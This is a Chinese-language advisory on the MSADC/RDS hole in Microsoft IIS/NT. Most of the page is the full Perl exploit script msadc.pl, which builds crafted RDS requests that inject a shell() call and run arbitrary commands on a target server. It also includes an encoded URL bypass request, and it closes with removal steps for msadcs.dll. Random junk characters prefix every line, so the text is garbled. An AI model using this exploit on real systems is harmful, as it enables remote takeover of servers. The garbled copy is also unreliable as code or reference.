IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P2nft2/eu? )DYI
. 涉及程序:
b;)~wU= Microsoft NT server
odg<q$34 rP!#RzL 描述:
`DT3x{}_S 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nFe%vu8a 0i8LWX_M 详细:
[F5h 如果你没有时间读详细内容的话,就删除:
_|"Y]:j_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
C&++VRnm 有关的安全问题就没有了。
e^lWR] v ~G27;Npy 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
w[6J
` Ela-,(Glk 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
4A9{=~nwT 关于利用ODBC远程漏洞的描述,请参看:
{QCf}@_]h *6 _tQ9G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 31EyDU,W L28*1]\Jh 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`bc;]@" http://www.microsoft.com/security/bulletins/MS99-025faq.asp
:ujCr. 5s{ABJ\@V 这里不再论述。
iMfngIs | uUKcB: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
jYiv'6z !Ci~!)$z6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?8W("W 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
kD[ r.Dma waKT{5k KRjV}\} #将下面这段保存为txt文件,然后: "perl -x 文件名"
~q&pF"va8 ;W>Y:NCrp #!perl
r[?1 #
si4don # MSADC/RDS 'usage' (aka exploit) script
qH['09/F6 #
mqq;H} # by rain.forest.puppy
." $ #
]jpu,jz: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
b~-%c_ # beta test and find errors!
xUfbW;;]UU kp\\"+,VC use Socket; use Getopt::Std;
T)\"Xj getopts("e:vd:h:XR", \%args);
Mkq( T[) ;\MW$/[JCy print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
% >;#9"O4 $H$j-)\D if (!defined $args{h} && !defined $args{R}) {
<'G~8tA%v print qq~
`-3o+ID\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-X+H2G -h <host> = host you want to scan (ip or domain)
wb Iq&>p -d <seconds> = delay between calls, default 1 second
kF>o.uSV -X = dump Index Server path table, if available
{)AMw q -v = verbose
4~U'TE
@ -e = external dictionary file for step 5
jmg!Ml pKS
{ 6P Or a -R will resume a command session
{-BRt)L[ f3|@|'
; ~; exit;}
?uMQP NYs _20#2i& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
>3u]OSb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{,OS-g if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}h 3K@R
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.vG,fuf8 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7Ol}EPf# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H:H6b OCy0#aPRS if (!defined $args{R}){ $ret = &has_msadc;
BnRN;bu die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
NzKUtwnIz Ej7 /X ~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Blq8H"3!: . "cmd /c ";
hXGwP4 $in=<STDIN>; chomp $in;
*-s,.
F+c $command="cmd /c " . $in ;
(Z5##dS3 |y<),j6 if (defined $args{R}) {&load; exit;}
,#W h d~$WV0# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
m5G \}8| &try_btcustmr;
%zU`XVNN+ $BmmNn# print "\nStep 2: Trying to make our own DSN...";
-*2Mf Mh &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&_5tqh 1c+]gIe print "\nStep 3: Trying known DSNs...";
U}SXJH&&E &known_dsn;
3sCFHn#c `pd&se'p print "\nStep 4: Trying known .mdbs...";
09o~9z0 &known_mdb;
PM":Vd/ )6~1 ^tD if (defined $args{e}){
d3^OEwe print "\nStep 5: Trying dictionary of DSN names...";
rw)kAe31 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~el3I=KC} /J)l /oI print "Sorry Charley...maybe next time?\n";
Jw~( G9G exit;
``ekR6[ 8c *Ywpz^2?: ##############################################################################
T!W~n
ZC sS
TPMh sub sendraw { # ripped and modded from whisker
Nx#4W1B[`H sleep($delay); # it's a DoS on the server! At least on mine...
"!K'A7.^ my ($pstr)=@_;
j'i0*"x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G,= yc@uq die("Socket problems\n");
(wmBjQ]B< if(connect(S,pack "SnA4x8",2,80,$target)){
1xf=_F0`& select(S); $|=1;
)Z+{|^`kJ print $pstr; my @in=<S>;
I &* _,d select(STDOUT); close(S);
^% Q|s#w. return @in;
z=&z_}M8 } else { die("Can't connect...\n"); }}
\RQ='/H* }Vu\(~ ##############################################################################
6I_Hd>4 N?dvuB sub make_header { # make the HTTP request
{5*|C-WWtG my $msadc=<<EOT
bU 63X={ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0^'B3$> User-Agent: ACTIVEDATA
0i[zup Host: $ip
\bCX=E- Content-Length: $clen
U-wLt(Y< Connection: Keep-Alive
t"j|nz{m ,~zj=F ADCClientVersion:01.06
C9S@v D+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Rd+P,PO &$`hQgi --!ADM!ROX!YOUR!WORLD!
{+zJI-XN/ Content-Type: application/x-varg
*5$&`&, Content-Length: $reqlen
AgF5-tz6x +)nT|w45 EOT
iV.p5FD ; $msadc=~s/\n/\r\n/g;
.'[/|4H return $msadc;}
,G^[o,hS
>95TvJ ##############################################################################
64Gi8|P <I;*[;AK sub make_req { # make the RDS request
9+Y D!y my ($switch, $p1, $p2)=@_;
#iSFf my $req=""; my $t1, $t2, $query, $dsn;
"fQRk c.H?4j7ga if ($switch==1){ # this is the btcustmr.mdb query
NCA{H^CL
$query="Select * from Customers where City=" . make_shell();
-U2mfW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j&6 jRX $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
BX;5wKfA MWuXI1 elsif ($switch==2){ # this is general make table query
w5]"ga>Y $query="create table AZZ (B int, C varchar(10))";
P#GD?FUc $dsn="$p1";}
AZFWuPJo @kngI7=E elsif ($switch==3){ # this is general exploit table query
jeN1eM8WI $query="select * from AZZ where C=" . make_shell();
urY`^lX~ $dsn="$p1";}
o%(bQV-T /L)
9tt. elsif ($switch==4){ # attempt to hork file info from index server
Zcd7*EBdx $query="select path from scope()";
2?i\@r@E| $dsn="Provider=MSIDXS;";}
1q~LA[6 SqB/4P elsif ($switch==5){ # bad query
#dJ 2Q_2 $query="select";
>?XbU} $dsn="$p1";}
% mn /> rb_Z5T $t1= make_unicode($query);
:q2YBa $t2= make_unicode($dsn);
K, (65>86; $req = "\x02\x00\x03\x00";
}(i(Ar- $req.= "\x08\x00" . pack ("S1", length($t1));
Y4~vC[$x' $req.= "\x00\x00" . $t1 ;
G_oX5:J* $req.= "\x08\x00" . pack ("S1", length($t2));
:B#EqeI $req.= "\x00\x00" . $t2 ;
zi!#\s^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5 Rz/Ri\c= return $req;}
SR*Gqx {Qtq7q. ##############################################################################
p?myuNd[ SfI*bJo>V sub make_shell { # this makes the shell() statement
.Vx|'-u return "'|shell(\"$command\")|'";}
4UCwT1 KVijs1q ##############################################################################
hYvNcOSks wkT;a&_ sub make_unicode { # quick little function to convert to unicode
J9@}DB my ($in)=@_; my $out;
5gNLO\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
`mErF%b return $out;}
i>Iee^_( Y$8; Gm<) ##############################################################################
oa0X5}D g3rRhS sub rdo_success { # checks for RDO return success (this is kludge)
QFzFL-H~N my (@in) = @_; my $base=content_start(@in);
RWE~&w G} if($in[$base]=~/multipart\/mixed/){
*( *z|2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Kfjryo9 return 0;}
E/"SU*Co 6GOg_P ##############################################################################
qz:]-A h*'d;_(, sub make_dsn { # this makes a DSN for us
(UzPkl kZ my @drives=("c","d","e","f");
S8*> kM' print "\nMaking DSN: ";
[2H[5<tH foreach $drive (@drives) {
,Oi^ySn print "$drive: ";
$xcv > my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!QTPWA "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6^ik|k| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
5DSuUEvWcL $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Qu}N:P9l?X return 0 if $2 eq "404"; # not found/doesn't exist
E._hg+
(Hi if($2 eq "200") {
e?vj+ZlS$f foreach $line (@results) {
WY.5K
=} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)d_U)b7i } return 0;}
[|z'"Gk{
'fl(N2t ##############################################################################
qvN"1=nJ <{ #<5 8 sub verify_exists {
0x4l5x$8 my ($page)=@_;
y^YVo^3 my @results=sendraw("GET $page HTTP/1.0\n\n");
5*XH6g F return $results[0];}
.pKN4 zi_[V@Es/ ##############################################################################
w<mqe0 i]@c.QiFN sub try_btcustmr {
85Dm8~ my @drives=("c","d","e","f");
^@N`e1 my @dirs=("winnt","winnt35","winnt351","win","windows");
`=v@i9cTZ q!@c_o foreach $dir (@dirs) {
g6`.qyVfz' print "$dir -> "; # fun status so you can see progress
y0y+%H- foreach $drive (@drives) {
1V\1]J/ print "$drive: "; # ditto
_UaPwJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
5Ny0b|+p $reqlenlen=length( "$reqlen" );
>!<V\
Fj1 $clen= 206 + $reqlenlen + $reqlen;
65t[vi*C Ul9b.`6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=3pD:L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Lm.Ik}Gli else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fW[_+r] ?Cc$] ##############################################################################
x;*VCs lvG3<ls0K$ sub odbc_error {
DSTx#* my (@in)=@_; my $base;
5 5a@)>h my $base = content_start(@in);
<%(f9j if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
vevx|<9, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?SB5b , $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
np= J:v4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%"{?[!C ? return $in[$base+4].$in[$base+5].$in[$base+6];}
?9CIWpGjU print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Mc.^s print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[!5l0{0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
3 k`NNA Us*Vn ##############################################################################
J511AoQ{R 2Sv>C `FMU sub verbose {
p+!f(H my ($in)=@_;
E:%>0FE return if !$verbose;
i^~sn `o print STDOUT "\n$in\n";}
e-1;dX HL D_zcOq9 ##############################################################################
;Kt'Sit xMLrLXy sub save {
bW}b<(y my ($p1, $p2, $p3, $p4)=@_;
ya;@<b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`AB~YX%( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'! #On/ close OUT;}
L,tZh0 ]U#JsMS ##############################################################################
uF.Q " ,< @^BS# sub load {
3{6ps : w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7O]J^H+7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"Wxo[I @p=<IN>; close(IN);
1*TXDo_T $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
OA\vT${5 $target= inet_aton($ip) || die("inet_aton problems");
%-T}s`Z print "Resuming to $ip ...";
lK_
~d_f $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
I=Gr^\x= if($p[1]==1) {
X^u4%O[' $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
pW`ntE#L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
R994R@gz my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ka[Sm|-q if (rdo_success(@results)){print "Success!\n";}
0-6:AHix else { print "failed\n"; verbose(odbc_error(@results));}}
SjFF=ib elsif ($p[1]==3){
h2im
sjf if(run_query("$p[3]")){
6tDg3`w> print "Success!\n";} else { print "failed\n"; }}
oUnq"] elsif ($p[1]==4){
W*1d
X"S if(run_query($drvst . "$p[3]")){
z0EjIYI[N print "Success!\n"; } else { print "failed\n"; }}
* [iity exit;}
3U :YA&K( \HBVNBY ##############################################################################
7O;BS}Lv= WV5r$ sub create_table {
~Rx~g my ($in)=@_;
,AGM?&A $reqlen=length( make_req(2,$in,"") ) - 28;
.aVHd<M $reqlenlen=length( "$reqlen" );
&<\4q $clen= 206 + $reqlenlen + $reqlen;
Z1XUYe62 my @results=sendraw(make_header() . make_req(2,$in,""));
[ flu|v return 1 if rdo_success(@results);
W)G2Cs?p my $temp= odbc_error(@results); verbose($temp);
3:l: ~Vn return 1 if $temp=~/Table 'AZZ' already exists/;
xMO[3D&D return 0;}
#"3[f@|e uD0(aqAZ ##############################################################################
IG2 `9rR "t3uW6& sub known_dsn {
bUY:XmA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(9WL+S my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ox i
a} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
F``EARG)iu "banner", "banners", "ads", "ADCDemo", "ADCTest");
LLXg \FY/eQ*07 foreach $dSn (@dsns) {
yhw:xg_;Kz print ".";
k'WS"<- next if (!is_access("DSN=$dSn"));
n',9#I(!L if(create_table("DSN=$dSn")){
T6/$pJl print "$dSn successful\n";
ue^?/{OuT if(run_query("DSN=$dSn")){
JN;TGtB^p print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:JTRRv print "Something's borked. Use verbose next time\n";}}} print "\n";}
#Of<1 LXTipWKz ##############################################################################
eY6gb!5u x0AqhT5} sub is_access {
uJ)\P my ($in)=@_;
$h|I7` $reqlen=length( make_req(5,$in,"") ) - 28;
F|
,Vw{ $reqlenlen=length( "$reqlen" );
k`iq<b $clen= 206 + $reqlenlen + $reqlen;
lyOrM7Gs my @results=sendraw(make_header() . make_req(5,$in,""));
jiw`i my $temp= odbc_error(@results);
V;[__w verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^)%wq@Hi return 0;}
|RvpEy76 )P(d66yq'u ##############################################################################
LNyL>VHkK W:;` sub run_query {
am$-sh72 my ($in)=@_;
Ekg N6S`} $reqlen=length( make_req(3,$in,"") ) - 28;
T^=Ee?e $reqlenlen=length( "$reqlen" );
([4{n $clen= 206 + $reqlenlen + $reqlen;
B9;,A;E}; my @results=sendraw(make_header() . make_req(3,$in,""));
?SsRN jeL return 1 if rdo_success(@results);
644hQW&W my $temp= odbc_error(@results); verbose($temp);
;>QK}#' return 0;}
ui#1 +p3G 9{]r+z: ##############################################################################
"#eNFCo7k @gl%A&a sub known_mdb {
][>M<J my @drives=("c","d","e","f","g");
Q+%m+ /Zq my @dirs=("winnt","winnt35","winnt351","win","windows");
GO:1
Z?^ my $dir, $drive, $mdb;
[2H(yLw O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:0TSOT9. t2-zJJf8 # this is sparse, because I don't know of many
"ppb%= my @sysmdbs=( "\\catroot\\icatalog.mdb",
S;AnpiBM8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
uK&wS#uY "\\system32\\certmdb.mdb",
K&gc5L "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.5Z@5g` z&HN>7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:Ro"
0/d "\\cfusion\\cfapps\\forums\\forums_.mdb",
51(`wo>LS "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f!R^;'a "\\cfusion\\cfapps\\security\\realm_.mdb",
>J75T1PH= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
J/&*OC "\\cfusion\\database\\cfexamples.mdb",
TAXkfj "\\cfusion\\database\\cfsnippets.mdb",
(9[C0e S "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Er+3S@sfq, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,tv9+n@x "\\cfusion\\brighttiger\\database\\cleam.mdb",
L4A/7Ep "\\cfusion\\database\\smpolicy.mdb",
02c.;ka3 "\\cfusion\\database\cypress.mdb",
@aPu}Hi "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kFZu/HRI "\\website\\cgi-win\\dbsample.mdb",
ujHzG}2z "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
BHBT=,sI "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.$s|T ); #these are just
xbH!:R; foreach $drive (@drives) {
{aa,#B]i foreach $dir (@dirs){
cW|Zgz8vv foreach $mdb (@sysmdbs) {
}PD(kk6fX print ".";
mbG^fy' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-clg'Aa;. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m_ONsZHy if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ghd[G} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
]` Gz_e } else { print "Something's borked. Use verbose next time\n"; }}}}}
aZCZ/ 2i'-lM= foreach $drive (@drives) {
+O:pZz foreach $mdb (@mdbs) {
FbNQ print ".";
bIl0rx[` if(create_table($drv . $drive . $dir . $mdb)){
,7nb;$] print "\n" . $drive . $dir . $mdb . " successful\n";
7Z :l;%]K if(run_query($drv . $drive . $dir . $mdb)){
l8Iy03H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<y/AEY1 } else { print "Something's borked. Use verbose next time\n"; }}}}
#Lt+6sa]2@ }
N0KRND n{NgtH\V ##############################################################################
k 5kX 3\~fe/z'I sub hork_idx {
a_MnQ@ print "\nAttempting to dump Index Server tables...\n";
"JGig!9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
BJ2W}R $reqlen=length( make_req(4,"","") ) - 28;
N28?JQha $reqlenlen=length( "$reqlen" );
h/~BUg' $clen= 206 + $reqlenlen + $reqlen;
T:5%sN;#O my @results=sendraw2(make_header() . make_req(4,"",""));
`%:(IGxz if (rdo_success(@results)){
qCT\rZU my $max=@results; my $c; my %d;
/3%xQK>% for($c=19; $c<$max; $c++){
k"-#ox! $results[$c]=~s/\x00//g;
2G>
]W?> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&!fcL Jd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5!fW&OiY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ITPpT $d{"$1$2"}="";}
&Y2P! \\2 foreach $c (keys %d){ print "$c\n"; }
l:}4
6% } else {print "Index server doesn't seem to be installed.\n"; }}
@n'ss!h 1caod0gor ##############################################################################
_qNLy/AY S*@0%|Q4r sub dsn_dict {
Av4E?@R open(IN, "<$args{e}") || die("Can't open external dictionary\n");
5ml}TSMu' while(<IN>){
?E@[~qq_ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=i %w_e next if (!is_access("DSN=$dSn"));
.?]_yX if(create_table("DSN=$dSn")){
<cjTn:w print "$dSn successful\n";
f_Bf}2Eedj if(run_query("DSN=$dSn")){
N'.+ezZ;h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h%e!f# print "Something's borked. Use verbose next time\n";}}}
1"PE@!] print "\n"; close(IN);}
=_3qUcOP <-aI%'?* ##############################################################################
_@76eZd uS,$P34^oy sub sendraw2 { # ripped and modded from whisker
bd}SB -D sleep($delay); # it's a DoS on the server! At least on mine...
-2d&Aq4m) my ($pstr)=@_;
OUMr}~/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
" V2$g die("Socket problems\n");
T0jJp7O if(connect(S,pack "SnA4x8",2,80,$target)){
9x,+G['Zt print "Connected. Getting data";
)Cfrqe1^ open(OUT,">raw.out"); my @in;
CgE5;O select(S); $|=1; print $pstr;
6>J#M while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1^dWmxUZH close(OUT); select(STDOUT); close(S); return @in;
A>yIH)b } else { die("Can't connect...\n"); }}
$vz%
`h6W@ROb ##############################################################################
d5hE!= m"]ys# sub content_start { # this will take in the server headers
W -&5
v my (@in)=@_; my $c;
TaG-^bX8B for ($c=1;$c<500;$c++) {
P#PQ4uK \ if($in[$c] =~/^\x0d\x0a/){
V;(LeuDH| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O ?Tg`] EX else { return $c+1; }}}
?Q2pD!L{ return -1;} # it should never get here actually
\f#ao<vQm l-EQh*!j ##############################################################################
|e>-v t`B']Ac;T sub funky {
:~Y$\Ww(~ my (@in)=@_; my $error=odbc_error(@in);
5{Wl(jwb if($error=~/ADO could not find the specified provider/){
P+h&tXZn8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
63=m11Z4 exit;}
lH.2H if($error=~/A Handler is required/){
Y{=@^4|] print "\nServer has custom handler filters (they most likely are patched)\n";
|e\%pfZ exit;}
{J$aA6t:"T if($error=~/specified Handler has denied Access/){
mZyTo/\0 print "\nServer has custom handler filters (they most likely are patched)\n";
8vK&d> exit;}}
h;->i] nCU4a1rZ ##############################################################################
\ 714 Pyy E3!twR*Aw sub has_msadc {
?}[keSEh> my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@d\F; o< my $base=content_start(@results);
jPfoI- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
tF|bxXsZ return 0;}
uZ+< Cp%|Q.? ########################
EeO{G*pq 2olim1 9[`6f8S_$ 解决方案:
:9}*p@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
q)*0G* 2、移除web 目录: /msadc